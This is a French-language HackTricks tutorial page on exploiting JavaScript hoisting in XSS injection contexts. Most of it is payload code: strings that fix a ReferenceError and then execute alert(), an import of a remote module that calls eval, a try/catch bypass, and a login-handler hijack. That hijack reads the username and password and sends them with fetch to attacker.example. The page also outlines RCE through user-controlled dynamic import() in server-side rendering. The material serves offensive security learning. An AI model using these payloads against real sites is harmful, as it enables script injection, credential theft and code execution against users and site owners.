JS Hoisting
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Dans le langage JavaScript, un mécanisme appelé Hoisting désigne le fait que les déclarations de variables, fonctions, classes ou imports sont conceptuellement remontées en haut de leur portée avant l’exécution du code. Ce processus est effectué automatiquement par le moteur JavaScript, qui parcourt le script en plusieurs passes.
Lors de la première passe, le moteur analyse le code pour vérifier les erreurs de syntaxe et le transforme en un arbre de syntaxe abstraite. Cette phase inclut le hoisting, un processus où certaines déclarations sont déplacées en haut du contexte d’exécution. Si la phase d’analyse réussit, indiquant l’absence d’erreurs de syntaxe, l’exécution du script se poursuit.
Il est crucial de comprendre que :
- Le script doit être exempt d’erreurs de syntaxe pour que l’exécution ait lieu. Les règles de syntaxe doivent être strictement respectées.
- Le placement du code dans le script influence l’exécution en raison du hoisting, bien que le code exécuté puisse différer de sa représentation textuelle.
Types de Hoisting
D’après MDN, il existe quatre types distincts de hoisting en JavaScript :
- Value Hoisting : permet d’utiliser la valeur d’une variable dans sa portée avant sa ligne de déclaration.
- Declaration Hoisting : permet de référencer une variable dans sa portée avant sa déclaration sans déclencher une
ReferenceError, mais la valeur de la variable seraundefined. - Ce type modifie le comportement dans sa portée du fait que la déclaration de la variable intervient avant sa ligne de déclaration effective.
- Les effets de bord de la déclaration se produisent avant que le reste du code la contenant soit évalué.
En détail, les déclarations de fonctions présentent le comportement de hoisting de type 1. Le mot-clé var démontre le comportement de type 2. Les déclarations lexicales, qui incluent let, const et class, montrent le comportement de type 3. Enfin, les déclarations import sont uniques en ce qu’elles sont hoistées avec à la fois les comportements de type 1 et de type 4.
Scénarios
Donc, si vous avez des scénarios où vous pouvez injecter du code JS après qu’un objet non déclaré soit utilisé, vous pouvez corriger la syntaxe en le déclarant (ainsi votre code s’exécute au lieu de lancer une erreur) :
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Autres scénarios
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
Hoisting pour contourner la gestion des exceptions
Lorsque le sink est entouré par un try { x.y(...) } catch { ... }, ReferenceError arrêtera l’exécution avant que votre payload ne s’exécute. Vous pouvez pré-déclarer l’identifiant manquant pour que l’appel soit effectué et que votre expression injectée s’exécute en premier :
// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)
// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //
function x(){} est remontée avant l’évaluation, donc le parser ne lance plus d’erreur sur x.y(...) ; prompt() s’exécute avant que y soit résolu, puis un TypeError est levé après l’exécution de votre code.
Prévenir les déclarations ultérieures en verrouillant un nom avec const
Si vous pouvez exécuter du code avant qu’une function foo(){...} de niveau supérieur ne soit parsée, déclarer une liaison lexicale avec le même nom (par ex., const foo = ...) empêchera la déclaration de fonction ultérieure de réaffecter cet identifiant. Cela peut être abusé en RXSS pour détourner des gestionnaires critiques définis plus loin sur la page:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
Remarques
- Cela dépend de l’ordre d’exécution et de la portée globale (top-level).
- Si votre payload est exécuté à l’intérieur de
eval(), rappelez-vous queconst/letà l’intérieur deevalsont à portée de bloc et ne créeront pas de liaisons globales. Injectez un nouvel élément<script>contenant le code pour établir un véritableconstglobal.
import() dynamique avec des spécificateurs contrôlés par l’utilisateur
Les applications rendues côté serveur transmettent parfois l’entrée utilisateur vers import() pour charger des composants à la demande. Si un loader tel que import-in-the-middle est présent, des modules wrapper sont générés à partir du spécificateur. L’évaluation hoisted des import récupère et exécute le module contrôlé par l’attaquant avant que les lignes suivantes ne s’exécutent, permettant une RCE dans des contextes SSR (voir CVE-2023-38704).
Outils
Les scanners modernes ont commencé à ajouter des payloads de hoisting explicites. KNOXSS v3.6.5 répertorie “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” et “Hoisting Override” comme cas de test ; l’exécution contre des contextes RXSS qui lèvent ReferenceError/TypeError met rapidement en évidence des candidats de gadgets basés sur hoisting.
Références
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- XSS Exception Bypass using Hoisting (ch4n3, 2023)
- KNOXSS coverage – hoisting override cases
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


